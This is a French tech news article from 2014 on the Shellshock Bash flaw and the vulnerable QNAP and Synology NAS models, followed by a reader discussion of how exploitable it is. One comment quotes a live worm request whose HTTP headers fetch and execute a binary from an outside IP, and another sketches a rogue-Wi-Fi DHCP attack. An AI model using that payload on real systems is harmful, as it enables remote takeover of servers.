Connexion

Catégories

Droit Économie Flock Hardware IA Internet Logiciel Sciences Sécurité Société

Nous Suivre

Qui sommes nous ? Contact rédaction Contact site Forum
Flux RSS
GitHub Discord

À propos

Abonnez-vous

Faille du Bash : les NAS ne sont pas épargnés

Allez, nouveau round de mises à jour

Faille du Bash : les NAS ne sont pas épargnés

Le 29 septembre 2014 à 06h51

Depuis quelques jours, une importante faille de sécurité touche le Bash. Si de nombreuses machines sous Linux, OS X et Unix sont concernés, les NAS ne sont évidemment pas épargnés. Synology et QNAP ont déjà commencé à communiquer sur le sujet et des correctifs arrivent.

Le Bash est le shell (interface système) utilisé par défaut par de nombreux systèmes d'exploitation : Linux et Unix sont ainsi particulièrement concernés. Par conséquent, les machines utilisant un système basé sur l'un de ces derniers peuvent également être touchées par cette faille. Comme c'était déjà le cas pour Heartbleed, les NAS ne sont donc pas épargnés. 

 

QNAP a ainsi publié un communiqué de presse afin d'informer ses utilisateurs. La société en profite pour rappeler que le premier patch corrigeant la faille du Bash (CVE-2014-6271) n'est pas suffisant et qu'un nouveau bulletin d'alerte (CVE-2014-7169) a été mis en ligne par le NIST. Le problème n'est donc pas entièrement réglé, et ce, quel que soit le système d'exploitation. Un point à surveiller de près donc.

 

Quoi qu'il en soit, QNAP demande à ses clients de déconnecter d'Internet la plupart des services : l'interface d'administration, le serveur Web, les Stations (Photo, Music, File, etc.) ainsi que le protocole WebDAV. De manière générale, il est donc recommandé de ne permettre aucun accès à son NAS depuis Internet, mais de les limiter au réseau local. Pour les plus inquiets, QNAP propose de désactiver complètement l'interface du QTS en arrêtant le serveur Apache (la marche à suivre ce trouve par là).

 

De son côté, Synology indique que « suite à une enquête approfondie, la majorité des NAS Synology n'est pas concernée ». Le constructeur ajoute que le « système d'exploitation de Synology, le Disk Station Manager (DSM), est protégé par défaut. Le Bash intégré au DSM est réservé aux services du système (HA Manager) seulement et n'est pas disponible pour les utilisateurs publics ». Les NAS grand public ne sont donc pas concernés par défaut, ce qui n'est pas le cas des modèles plus haut de gamme. 

 

Voici la liste des NAS vulnérables selon Synology, qui précise que « les modèles qui ne sont pas dans cette lise, ne sont pas concernés par la faille du Bash » :

  • 15-series: DS415+
  • 14-series: RS3614xs+, RS2414+, RS2414RP+, RS814+, RS814RP+, RS3614xs, RS3614RPxs
  • 13-series: DS2413+, DS713+, RS10613xs+, RS3413xs+, DS1813+, DS1513+
  • 12-series: DS712+, DS1512+, DS1812+, DS3612xs, RS3412xs, RS3412RPxs, DS412+, RS812+, RS812RP+, RS2212+, RS2212RP+
  • 11-series: DS3611xs, RS3411xs, RS3411RPxs, DS2411+, RS2211+, RS2211RP+, DS1511+, DS411+II, DS411+
  • 10-series: DS1010+, RS810+, RS810RP+, DS710+

QNAP et Synology indiquent que des correctifs sont en préparation et seront prochainement mis en place. Du côté de Thecus, aucune information pour le moment. Nous tâcherons de contacter le fabricant afin d'avoir de plus amples informations.

Commentaires (126)

votre avatar







Khalev a écrit :



Euh…

http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3505#p23987







Faut lire aussi, ce forum répertorie un ver qui utilise une attaque sur busybox+telnet, ils n’ont trouvé aucune trace d’un exploit bash dedans…







atomusk a écrit :



Si je ne m’abuse, même sans serveur Web c’est quand même une faille d’élévation de privilèges extrêmement grave <img data-src=" />



Oui, c’est BIEN moins grave qu’avec un serveur Web, mais pas à négliger non plus.







Non cette faille ne permet PAS d’élévation de privilèges mais une exécution arbitraire de code avec les droits de l’utilisateur ciblé.



Ce truc n’est exploitable qu’en local POINT ! Y a des tonnes de failles exploitables localement, mais s’il n’y a pas d’élévation de privilèges autant dire que c’est de la pisse d’âne !



Cette histoire de Bash 0-day est un FUD…


votre avatar







kypd a écrit :



Non cette faille ne permet PAS d’élévation de privilèges mais une exécution arbitraire de code avec les droits de l’utilisateur ciblé.



Ce truc n’est exploitable qu’en local POINT ! Y a des tonnes de failles exploitables localement, mais s’il n’y a pas d’élévation de privilèges autant dire que c’est de la pisse d’âne !



Cette histoire de Bash 0-day est un FUD…







Merci pour l’info <img data-src=" />


votre avatar

Ce soir, faudra que je voie s’il y a quelque chose pour ma LMDE (basée sur Debian Testing). Mais bon, c’est pas critique, elle est sur mon portable…

votre avatar

Pour compléter, je vous renvoie à l’article publié sur linuxfr.org http://linuxfr.org/news/une-faille-nommee-shellshock) :

&nbsp;

&nbsp;Les conditions de l’exploitation à distance de la faille sont relativement simples :







  • /bin/sh pointe sur /bin/bash&nbsp;;

  • avoir SELinux désactivé ou non configuré&nbsp;;

  • avoir un service qui écoute le réseau et qui va exécuter bash.



votre avatar







kypd a écrit :



Faut lire aussi, ce forum répertorie un ver qui utilise une attaque sur busybox+telnet, ils n’ont trouvé aucune trace d’un exploit bash dedans…







Non cette faille ne permet PAS d’élévation de privilèges mais une exécution arbitraire de code avec les droits de l’utilisateur ciblé.



Ce truc n’est exploitable qu’en local POINT ! Y a des tonnes de failles exploitables localement, mais s’il n’y a pas d’élévation de privilèges autant dire que c’est de la pisse d’âne !



Cette histoire de Bash 0-day est un FUD…





Euh.. il est dit partout que la faille peut être exploité à distance d’ou la criticité de la faille

C’est d’ailleurs ce qu’est dit sur le CVE :

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271

D’ou la criticité 10⁄10 au CVS base score.





GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka “ShellShock.” NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.





Alors je suis pas expert sécu mais pouvoir exécuter un bout de code à distance ca me parait pas de la pisse d’ane.


votre avatar







kypd a écrit :



Ce truc n’est exploitable qu’en local POINT ! Y a des tonnes de failles exploitables localement, mais s’il n’y a pas d’élévation de privilèges autant dire que c’est de la pisse d’âne !



Cette histoire de Bash 0-day est un FUD…







Nope, par exemple elle impacte aussi le client DHCP qui utilise bash, et qui est exécuté en root il me semble.



https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/


votre avatar







doom_Oo7 a écrit :



Nope, par exemple elle impacte aussi le client DHCP qui utilise bash, et qui est exécuté en root il me semble.



https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/





Et les cgis qui passent les variables via bash aussi donc une bonne partie des cgis (ca concerne au moins 1 serveur sur 10 qui est exploitable avec ca a la louche je dirais).


votre avatar







cendrev3 a écrit :



Et les cgis qui passent les variables via bash aussi donc une bonne partie des cgis (ca concerne au moins 1 serveur sur 10 qui est exploitable avec ca a la louche je dirais).





Totalement d’accord, c’est loin d’être de la pisse d’âne.



Cela peut vraiment toucher BEAUCOUP de monde.


votre avatar







atomusk a écrit :



Vu que Niktareum avait l’air de vouloir être constructif, il est bloqué sur la news <img data-src=" />





Je n’ai pas vu son dernier commentaire “swordé” (oui je sais anglicisme, pasbien, toussa)… mais dans le fond il n’avait pas totalement tord… Si cette faille pouvait permettre à tout le monde d’admettre qu’aucun OS n’est complètement sécurisé, cela serait déjà bien…


votre avatar







carbier a écrit :



Je n’ai pas vu son dernier commentaire “swordé” (oui je sais anglicisme, pasbien, toussa)… mais dans le fond il n’avait pas totalement tortd… Si cette faille pouvait permettre à tout le monde d’admettre qu’aucun OS n’est complètement sécurisé, cela serait déjà bien…





<img data-src=" />


votre avatar







Commentaire_supprime a écrit :



Ce soir, faudra que je voie s’il y a quelque chose pour ma LMDE (basée sur Debian Testing). Mais bon, c’est pas critique, elle est sur mon portable…







Un petit peu, si tu contacts un serveur DHCP malicieux c’est à priori exploitable.


votre avatar







carbier a écrit :



Je n’ai pas vu son dernier commentaire “swordé” (oui je sais anglicisme, pasbien, toussa)… mais dans le fond il n’avait pas totalement tord tort… Si cette faille pouvait permettre à tout le monde d’admettre qu’aucun OS n’est complètement sécurisé, cela serait déjà bien…





Tous les gens sensés sont d’accord pour dire qu’un OS 100% sécurisé n’existe pas. Ceux qui prétendent le contraire sont juste des trolls.


votre avatar







carbier a écrit :



Je n’ai pas vu son dernier commentaire “swordé” (oui je sais anglicisme, pasbien, toussa)… mais dans le fond il n’avait pas totalement tord… Si cette faille pouvait permettre à tout le monde d’admettre qu’aucun OS n’est complètement sécurisé, cela serait déjà bien…



Tu penses vraiment que cette faille va réussir la où les autres ont échouées ?


votre avatar







TaigaIV a écrit :



Un petit peu, si tu contacts un serveur DHCP malicieux c’est à priori exploitable.





En même temps, j’ose espérer que chacun utilise un serveur DHCP perso pour son réseau privé.



edit : après, il ne faut bien sûr pas que le routeur soit infecté.


votre avatar







aureus a écrit :



Euh.. il est dit partout que la faille peut être exploité à distance d’ou la criticité de la faille

C’est d’ailleurs ce qu’est dit sur le CVE :

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271

D’ou la criticité 10⁄10 au CVS base score.







Alors je suis pas expert sécu mais pouvoir exécuter un bout de code à distance ca me parait pas de la pisse d’ane.







La vulnérabilité SSH consiste dans le fait que l’utilisateur a déjà un accès shell… donc c’est un exploit local, je vois pas d’ailleurs qui mettrait en place un shell “restreint” en utilisant bash, c’est complètement con c’est un des shell les plus permissif pour s’évader de toutes sortes de situation forcées !!



La faille dans le CGI nécessite que le script CGI appelé soit un script BASH ! Ok c’est pas impossible, Ok le serveur est peut être mal sécurisé pour vérifier les variables d’environnement, Ok peut être qu’en exécutant du code arbitraire en tant que l’utilisateur web on peut faire des dégâts (si les droits d’accès sont configurés n’importe comment, un serveur web est toujours considéré comme potentiellement dangereux !!), mais c’est du même niveau qu’un XSS dans du PHP… là aussi je peu lancer la commande php “shell()” et faire ce que je veux… sinon la faille s’exploite de la même façon, il faut fouiller toute l’arborescence d’un site à la recherche d’un script CGI vulnérable !!







doom_Oo7 a écrit :



Nope, par exemple elle impacte aussi le client DHCP qui utilise bash, et qui est exécuté en root il me semble.



https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/









DHCP : il faut empoisonner le serveur DHCP, donc avoir accès au réseau local de l’infrastructure…



Je ne dis pas que cette faille n’est pas grave, mais elle est très difficile à exploiter, surtout en partant du fait que sans élévation de privilèges il faut s’appuyer sur d’autre services qui offrent également une faille pour en tirer parti ! Donc une faille qui en nécessite une autre pour fonctionner !


votre avatar

Je pose une question légèrement à côté du sujet mais j’ai un NAS Synology et j’etais depuis quelques jours avec le dernier DSM sorti “5.0-4493 Update 5” et je vois aujourd’hui qu’on me propose le “DSM 5.0-4493 update 7”.



Suis-je le seul à avoir cette mise à jour proposée ?

Je me pose des questions depuis les failles de ces dernières semaines. ;)

votre avatar







moxepius a écrit :



C’est surtout pourquoi des options envoyés par le serveur dhcp se retrouvent en variable d’environnement…





le client dhcp est écrit en 2 parties:

1)une partie en C qui communique avec le serveur par le réseau.




  1. une partie en script BASH chargée de configurer le réseau du client ( à coup de route, ifconfig , écriture de /etc/resolv.conf ), c’est très spécifique à l’OS et donc l’utilisation de bash facilite le portage.



    la partie écrite en C utilise des variables d’environnement pour communiquer les infos au script bash.


votre avatar







Indus a écrit :



Le Larousse n’est pas le dictionnaire de référence de la langue française. Celui de référence est celui de l’académie française et le verbe “impacter” n’est pas présent.



Voici ce que dit l’académie française à propos de “impacter” :

http://www.academie-francaise.fr/impacter





Le truc drôle c’est qu’ils ne vont pas au bout de leur propre raisonnement :



Le substantif Impact, désignant le choc d’un projectile contre un corps, ou la trace, le trou qu’il laisse, ne peut s’employer figurément que pour évoquer un effet d’une grande violence. On ne saurait en faire un simple équivalent de « conséquence », « résultat » ou « influence ».



Autrement dit, il s’agit bien d’un terme ayant un sens bien défini que l’on peut très bien employer en verbe pour signaler justement une influence extrêmement forte. Et c’est généralement en ce sens qu’on l’emploie.



Du coup leur exemple…



ON DIT : La crise affecte l’activité économique, a des conséquences sur l’activité économique, modifie la rentabilité, touche l’opinion.

ON NE DIT PAS : La crise impacte l’activité économique, impacte la rentabilité, impacte l’opinion.



Je le trouve absolument pas légitimant. Justement parce que les différents verbes employés ne portent en eux aucune notion d’ampleur sur l’influence exercée, ils sont complètement “neutres”, contrairement au verbe impacter qui porte bien en lui l’idée de force, changement significatif (et le premier qui me dit que la crise n’a pas eu d’effet significatif…<img data-src=" />).

Je comprends que ça les soûle de voir le vocabulaire se limiter, et qu’ils cherchent à motiver l’emploi d’un vocabulaire varié et précis mais ce ne sont pas avec des exemples foireux qu’ils vont convaincre le public de la justesse de leur vue… <img data-src=" />



Bref, fin du HS.


votre avatar

Bizarre, mon DS411+II est concerné mais reste bloqué en “update5”…

votre avatar







eres a écrit :



Si j’ai bien compris les conséquences du bug, sur un Synology il faut :




  • désactiver l’accès Telnet et SSH depuis l’extérieur (c’est un minimum, les VPN sont là pour ça non?)





    L’accès SSH est prévu pour accéder de façon sécurisée à une machine distante, je vois mal la raison de l’empêcher. C’est quand même plus pratique que l’accès VPN, un petit “ssh mon-syno” et hop on peut s’en occuper.

    Mon PC perso a son serveur SSH en écoute sur le Net, c’est pratique. J’ai un fail2ban pour éviter les attaques par force brute (et accessoirement le pourrissement des logs).


votre avatar







Citan666 a écrit :



Du coup leur exemple…



ON DIT : La crise affecte l’activité économique, a des conséquences sur l’activité économique, modifie la rentabilité, touche l’opinion.

ON NE DIT PAS : La crise impacte l’activité économique, impacte la rentabilité, impacte l’opinion.





Je le trouve absolument pas légitimant. Justement parce que les différents verbes employés ne portent en eux aucune notion d’ampleur sur l’influence exercée, ils sont complètement “neutres”, contrairement au verbe impacter qui porte bien en lui l’idée de force, changement significatif

(huhu, “légitimant”)

Je pense le contraire de toi, “impacter” ça n’est pas précis, ça parle juste d’un impact (qui peut être léger, comme celui sur un pare-brise).

“La crise affecte l’activité économique” c’est assez clair pour moi (surtout avec le terme “crise”), idem pour “la crise touche l’opinion” ; si tu veux renforcer le verbe, tu peux ajouter un adverbe : “affecte considérable”, “touche fortement”, etc.


votre avatar







Resman a écrit :



Y’a un truc que je comprends pas bien avec cette faille … les gens créent des applis qui lancent des commandes bash sans nettoyer les variables d’environnement, s’étonnent que ça crée une faille et crient au bug ? La faille ne serait pas plutôt dans les programmes qui lancent de telles commandes sans rien vérifier ?





Je suis de ton avis.

Moi ça m’étonne qu’une chaîne de caractère venant de l’extérieure puisse être transmise à un bash comme ça telle quelle sans modification. Pour ma part, je n’ai jamais vu ça dans aucune application Web (et ça fait 15 ans que j’en vois).







moxepius a écrit :



par contre aucun intérêt de désactiver ssh.





J’ai répondu pareil, ça m’a étonné son histoire.







sylvere a écrit :



oui mais c’est pas si simple que ça de filtrer et de nettoyer correctement les variables d’environnement.

L’erreur c’est surtout d’utiliser des scripts bash pour des services sensibles, car au delà de ce bug un script bash est très difficile à sécuriser.





On peut faire appel à un script bash à certains endroits d’une application Web (depuis du PHP par exemple), mais c’est généralement un script tout fait auquel on fournit juste un paramètre qui sera ajouté en fin de commande, et normalement on vérifie à quoi ressemble ce paramètre s’il est lié à une entrée depuis le client.



Donc je me demande quelle est la réelle exploitabilité de cette faille, qui me semble bien surévaluée. Je n’ai pas encore lu la dépêche linuxfr sur le sujet, peut-être y a-t-il des détails précis.


votre avatar







OlivierJ a écrit :



…





nextinpact.com Next INpact

Plus le problème de serveur DHCP…


votre avatar







moxepius a écrit :



nextinpact.com Next INpact





Ton lien ne fonctionne pas, le site a un bug à ce sujet (constaté hier déjà, j’ai dû le reconstituer à la main), c’est quel numéro le commentaire (#nnn) ?


votre avatar







OlivierJ a écrit :



Je le trouve absolument pas légitimant. Justement parce que les différents verbes employés ne portent en eux aucune notion d’ampleur sur l’influence exercée, ils sont complètement “neutres”, contrairement au verbe impacter qui porte bien en lui l’idée de force, changement significatif

(huhu, “légitimant”)

Je pense le contraire de toi, “impacter” ça n’est pas précis, ça parle juste d’un impact (qui peut être léger, comme celui sur un pare-brise).

“La crise affecte l’activité économique” c’est assez clair pour moi (surtout avec le terme “crise”), idem pour “la crise touche l’opinion” ; si tu veux renforcer le verbe, tu peux ajouter un adverbe : “affecte considérable”, “touche fortement”, etc.





Je sais pas ce qui te fait rire, légitimant est un terme tout à fait français.<img data-src=" />



Et, j’ai envie de dire tu es en contradiction directe avec l’Académie française sur la partie en gras (c’est pas pour rien que j’avais directement cité une partie de la prose de l’Académie sur le sujet, qui précise bien un effet d’une grande violence). C’est précisément pour ça que j’ai réagi, parce que l’illustration qu’ils donnent ne correspond pas au postulat qu’ils font juste avant… <img data-src=" />

D’ailleurs tu le confirmes bien, puisque tu te sens toi-même obliger de rajouter un adverbe pour illustrer la force de l’influence… <img data-src=" />


votre avatar







Citan666 a écrit :



Je sais pas ce qui te fait rire, légitimant est un terme tout à fait français.<img data-src=" />





Ça me fait toujours sourire, le terme “légitimant” ne figurant pas dans ta page liée. Et on ne peut pas dire qu’on trouve quelque chose “légitimant”, je pensais que c’était une boutade.







Citan666 a écrit :



D’ailleurs tu le confirmes bien, puisque tu te sens toi-même obliger de rajouter un adverbe pour illustrer la force de l’influence… <img data-src=" />





Pas forcément obligé <img data-src=" /> .


votre avatar







OlivierJ a écrit :



Ton lien ne fonctionne pas, le site a un bug à ce sujet (constaté hier déjà, j’ai dû le reconstituer à la main), c’est quel numéro le commentaire (#nnn) ?





#209

Faut afficher 100 commentaires par news pour qu’il fonctionne, puisque autrement le commentaire n’est plus sur la bonne page.


votre avatar







moxepius a écrit :



#209

Faut afficher 100 commentaires par news pour qu’il fonctionne, puisque autrement le commentaire n’est plus sur la bonne page.





Il faudrait que je pense à signaler ce bug à NextInpact, le fait qu’un permalien ne marche pas (il devrait toujours marcher).



Donc ton info était la page :http://security.stackexchange.com/questions/68122/what-is-a-specific-example-of-… , merci pour le lien.



Mais ça ne m’explique toujours pas comment on peut infecter un classique Apache+mod_php (d’après RedHat c’est pas infectable d’ailleurs), l’exemple cité indique seulement une attaque via un CGI en bash (qui fait des CGI en bash, en plus) ?

Ou alors j’ai vraiment raté un truc sur ta page.


votre avatar







OlivierJ a écrit :



l’exemple cité indique seulement une attaque via un CGI en bash (qui fait des CGI en bash, en plus) ?





Visiblement, assez de monde pour que ça pose problème…

<img data-src=" />



Mais ça ne m’explique toujours pas comment on peut infecter un classique Apache+mod_php (d’après RedHat c’est pas infectable d’ailleurs)



Via un serveur DHCP ?


votre avatar







moxepius a écrit :



Visiblement, assez de monde pour que ça pose problème…

<img data-src=" />





Eh bien même pas sûr, j’ai l’impression que beaucoup de monde s’affole pour rien.







moxepius a écrit :



Via un serveur DHCP ?





Je parle d’un serveur LAMP classique, en ligne, qui héberge rarement un serveur DHCP.


votre avatar







OlivierJ a écrit :



Je parle d’un serveur LAMP classique, en ligne, qui héberge rarement un serveur DHCP.





Oui, mais non, c’est le client dhcp qui pose problème:

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/



D’autant plus que quand on ajoute ça:

nextinpact.com Next INpact

nextinpact.com Next INpact


votre avatar







moxepius a écrit :



Oui, mais non, c’est le client dhcp qui pose problème:

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/





Si j’ai bien compris, il faut que le serveur dhcp soit infecté. Pour qu’il soit infecté, c’est que le réseau est déjà bien compromis et que quelqu’un est arrivé jusque sur le serveur DHCP, et en root, sachant que ce genre de serveur n’est pas visible directement de l’extérieur.



Sur la NSA, difficile de faire la part des possibilités et de la réalité. Je crains moins la NSA que des pirates mal intentionnés, franchement.


votre avatar







roswell51 a écrit :



pourtant le larousse en parle

larousse.fr Larousse





Ici, monsieur, on dit inpacter, chez nous, monsieur.<img data-src=" />


votre avatar







roswell51 a écrit :



pourtant le larousse en parle

larousse.fr Larousse





Familier !!

Plein de termes familier ne sont pas foncierement francais, mais reconnu comme tant utilisés en francais.





Sinon, c’est cool, un virus linux, ptete qu’ils se calmeront un peu les linuxiens a troller sur chaque news des patchs tuesday et autres joyeusetés du monde dominant (mais loin d’etre parfait, comme les autres) qu’est celui de windows.


votre avatar

Je note, encore une fois, que Thecus fait comme l’armée sur els dossiers sensibles “si on ne dit rien, ils vont oublier”.



En tous cas, Syno et Qnaps comuniquent et s’est une bonne chose.

Après, que les &nbsp;informations soient totalement fiables sur les systèmes touchés chez Syno, c’est autre chose.

votre avatar







Niktareum a écrit :



Sinon, c’est cool, un virus linux, ptete qu’ils se calmeront un peu les linuxiens a troller sur chaque news des patchs tuesday et autres joyeusetés du monde dominant (mais loin d’etre parfait, comme les autres) qu’est celui de windows.







Les linuxiens ? Se calmer sur les news Windows ? Faudrait que Mac OS devienne majoritaire pour ça. <img data-src=" />


votre avatar

Question bête:



Sachant que la faille touche tous les Linux, cela touche aussi tous les téléphones android.



Vu que pour le moment aucune maj d’android n’est sortie et que bon nombre de tel android ne profite plus de maj (dont le mien), je suppose qu’on peut jeter à la pubelle tous ces tels?

votre avatar







js2082 a écrit :



Question bête:



Sachant que la faille touche tous les Linux, cela touche aussi tous les téléphones android.



Vu que pour le moment aucune maj d’android n’est sortie et que bon nombre de tel android ne profite plus de maj (dont le mien), je suppose qu’on peut jeter à la pubelle tous ces tels?







La faille concerne Bash, l’utilitaire de shell sous Linux, pas le kernel per se.



Si tu n’as pas de Bash sur ton téléphone, tu n’es pas concerné. Et il me semble que Bash n’est pas compris par défaut dans Android. Ou alors, j’ai mal regardé mon Wiko…



Sinon, mon DS 412+ est touché, zutre !


votre avatar







js2082 a écrit :



Question bête:



Sachant que la faille touche tous les Linux, cela touche aussi tous les téléphones android.



Vu que pour le moment aucune maj d’android n’est sortie et que bon nombre de tel android ne profite plus de maj (dont le mien), je suppose qu’on peut jeter à la pubelle tous ces tels?





Non, ça ne touche pas Android, du moins sur les dernières versions, puisque c’est mksh qui est embarqué


votre avatar

Pour une fois Windows n’est pas concerné <img data-src=" />

votre avatar







Niktareum a écrit :



Familier !!

Plein de termes familier ne sont pas foncierement francais, mais reconnu comme tant utilisés en francais.





Sinon, c’est cool, un virus linux, ptete qu’ils se calmeront un peu les linuxiens a troller sur chaque news des patchs tuesday et autres joyeusetés du monde dominant (mais loin d’etre parfait, comme les autres) qu’est celui de windows.





Ah le bon windowsien qui fait pas la différence entre une faille et un virus …



<img data-src=" />







Darnel a écrit :



Pour une fois Windows n’est pas concerné <img data-src=" />





Sauf si tu as installé Cygwin …


votre avatar







Commentaire_supprime a écrit :



La faille concerne Bash, l’utilitaire de shell sous Linux, pas le kernel per se.



Si tu n’as pas de Bash sur ton téléphone, tu n’es pas concerné. Et il me semble que Bash n’est pas compris par défaut dans Android. Ou alors, j’ai mal regardé mon Wiko…



Sinon, mon DS 412+ est touché, zutre !









ActionFighter a écrit :



Non, ça ne touche pas Android, du moins sur les dernières versions, puisque c’est mksh qui est embarqué







Ok, bon à savoir.

Ça m’évitera de me séparer de mon tel.

Merci <img data-src=" />


votre avatar







js2082 a écrit :



Question bête:



Sachant que la faille touche tous les Linux







Non. Toutes les machines sur lesquelles bash est installé sont vulnérables, quel que soit l’OS (y compris windows même si côté probabilités c’est faiblard).

Vu comme ça, ça va bien plus loin qu’une faille “linux”.



D’un autre côté, ça va moins loin aussi dans la mesure où plein de devices “linux” sont livrés sans bash, comme la plupart des mobiles android, routeurs/switchs et autres systèmes embarqués (pour lesquels bash est carrément “overkill”).


votre avatar







John Shaft a écrit :



<img data-src=" />



(impacter -&gt; pas français. Et il n’a pas spécialement ce sens en angliche et en tout cas, cet usage est déconseillé)



Merci ! <img data-src=" />









oui merci, ca fait plaisir



Larousse ou pas, en attendant que ce soit validé par l ‘académie française impacter c’est de la merde.



Après on pourra pas empêcher les gens de parler moche, c’est leur problème, mais qu’ils viennent pas s’étonner s’il s’en prennent une sur le coin du museau , si ca saigne on pourra dire impacté <img data-src=" />



http://www.academie-francaise.fr/impacter



sinon INpacter <img data-src=" />


votre avatar







loloemr a écrit :



Ah le bon windowsien qui fait pas la différence entre une faille et un virus …







Attention, la probabilité est très élevée qu’(au moins) un petit rigolo s’amuse à faire exploiter cette faille par un ver. C’est faisable.

La tentation de se faire un botnet de quelques centaines de milliers de machines sera trop forte, et il y aura des têtes brûlées qui prendront le risque de se faire repérer en y allant à grande échelle et sans finesse.


votre avatar







loloemr a écrit :



Ah le bon windowsien qui fait pas la différence entre une faille et un virus …



<img data-src=" />





Si, je la fais !

Mais en même temps, m’en cogne un peu, l’objectif étant la douce utopie, que dis-je, la gageure de ne plus voir de linuxiens au melon surdimensionné ne plus baver sur (voir ce que j’ai déjà dit).



<img data-src=" />


votre avatar







Darnel a écrit :



Pour une fois Windows n’est pas concerné <img data-src=" />







Si, par cygwin <img data-src=" />


votre avatar







loloemr a écrit :



Sauf si tu as installé Cygwin …









canti a écrit :



Si, par cygwin <img data-src=" />





Si on prend en compte les applis tiers, comptons le nombre de devices contaminés par Java ou Flash player (liste à compléter) ;)


votre avatar







ActionFighter a écrit :



En même temps, j’ose espérer que chacun utilise un serveur DHCP perso pour son réseau privé.



edit : après, il ne faut bien sûr pas que le routeur soit infecté.







  1. faire tomber la borne WiFi légitime (en la dossant par exemple)

  2. créer un réseau ouvert avec le même SSID et un serveur DHCP qui va bien

  3. attendre le retour de l’utilisateur étourdi qui va vouloir faire ses mises à jour.



    Sans parler du cas où l’utilisateur étourdi aurait un portable pour se connecter en dehors de chez lui (je connais au moins 2 hurluberlus qui font ça).


votre avatar







kypd a écrit :



Faut lire aussi, ce forum répertorie un ver qui utilise une attaque sur busybox+telnet, ils n’ont trouvé aucune trace d’un exploit bash dedans…





Et tu as vu comment le vers est téléchargé/exécuté?



GET./.HTTP/1.0

.User-Agent:.Thanks-Rob

.Cookie:().{.:;.};.wget.-O./tmp/beshhttp://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;

.Host:().{.:;.};.wget.-O./tmp/beshhttp://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;

.Referer:().{.:;.};.wget.-O./tmp/beshhttp://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;

.Accept:./


votre avatar







Konrad a écrit :



Tous les gens sensés sont d’accord pour dire qu’un OS 100% sécurisé n’existe pas. Ceux qui prétendent le contraire sont juste des trolls.







De toutes façons, la sécurité à 100 % est une utopie, que ce soit en informatique ou ailleurs.


votre avatar







TaigaIV a écrit :



Tu penses vraiment que cette faille va réussir la où les autres ont échouées ?





Je ne pense rien du tout… Je remarque simplement qu’une faille a été trouvée alors qu’elle était présente depuis pas mal d’années… donc bien malin celui qui pourra dire que d’autres n’existent pas…


votre avatar







zempa a écrit :



Pour compléter, je vous renvoie à l’article publié sur linuxfr.org http://linuxfr.org/news/une-faille-nommee-shellshock) :

&nbsp;

&nbsp;Les conditions de l’exploitation à distance de la faille sont relativement simples :







  • /bin/sh pointe sur /bin/bash&nbsp;;

  • avoir SELinux désactivé ou non configuré&nbsp;;

  • avoir un service qui écoute le réseau et qui va exécuter bash.







    Il existe une màj de bash mais apparement elle ne résoud pas totalement le problème. Si je comprends bien, pour qui veut toujours avoir accès son petit serveur apache il faut configurer SElinux ?


votre avatar







TaigaIV a écrit :





  1. faire tomber la borne WiFi légitime (en la dossant par exemple)



    1. créer un réseau ouvert avec le même SSID et un serveur DHCP qui va bien

    2. attendre le retour de l’utilisateur étourdi qui va vouloir faire ses mises à jour.



      Tu me sembles avoir beaucoup d’idées en terrorisme numérique. C’est suspect <img data-src=" />







      TaigaIV a écrit :



      Sans parler du cas où l’utilisateur étourdi aurait un portable pour se connecter en dehors de chez lui (je connais au moins 2 hurluberlus qui font ça).





      Quelle idée aussi de sortir de chez soi <img data-src=" />



votre avatar







kypd a écrit :



Je ne dis pas que cette faille n’est pas grave, mais elle est très difficile à exploiter, surtout en partant du fait que sans élévation de privilèges il faut s’appuyer sur d’autre services qui offrent également une faille pour en tirer parti ! Donc une faille qui en nécessite une autre pour fonctionner !









Je suis d’accord. Je suis une brèle en sécurité info et je considère avoir fait le minimum syndical pour protéger mon serveur apache/postfix. Résultat : des dizaines de bots me scannent chaque jour et surement encore plus ces derniers temps et je ne pense pas avoir été vérolé.



Au final il faut une double faille pour que ça fasse vraiment des dégâts: ie un apache pas à jour, des droits trop permissifs…



Après je cherche désespéramment un bon tuto pour filtrer les bots sous freebsd avec ipfw mais pas trouvé :(


votre avatar







carbier a écrit :



Je n’ai pas vu son dernier commentaire “swordé” (oui je sais anglicisme, pasbien, toussa)… mais dans le fond il n’avait pas totalement tord… Si cette faille pouvait permettre à tout le monde d’admettre qu’aucun OS n’est complètement sécurisé, cela serait déjà bien…







D’où le fait de pas avoir modéré son 1er commentaire.



Après à partir du moment où ça par en dénigrement bete et méchant …



Sinon je doute qu’il existe beaucoup de linuxiens qui pensent que leur OS est “complètement sécurisé” … ou du moins j’en connais pas avec de telles ouillères <img data-src=" />


votre avatar







Glyphe a écrit :



Je pose une question légèrement à côté du sujet mais j’ai un NAS Synology et j’etais depuis quelques jours avec le dernier DSM sorti “5.0-4493 Update 5” et je vois aujourd’hui qu’on me propose le “DSM 5.0-4493 update 7”.



Suis-je le seul à avoir cette mise à jour proposée ?

Je me pose des questions depuis les failles de ces dernières semaines. ;)







Non tu n’est pas le seul :) . Mon DS 713+ me propose une update 7 effectivement


votre avatar







Kiroha a écrit :



Non tu n’est pas le seul :) . Mon DS 713+ me propose une update 7 effectivement







Update 7 effectuée il y a de cela quelques minutes sur le mien.


votre avatar







ActionFighter a écrit :



Tu me sembles avoir beaucoup d’idées en terrorisme numérique. C’est suspect <img data-src=" />





Quelle idée aussi de sortir de chez soi <img data-src=" />





Surtout que maintenant tu peux tout te faire livrer à domicile, vraiment je ne vois pas.


votre avatar

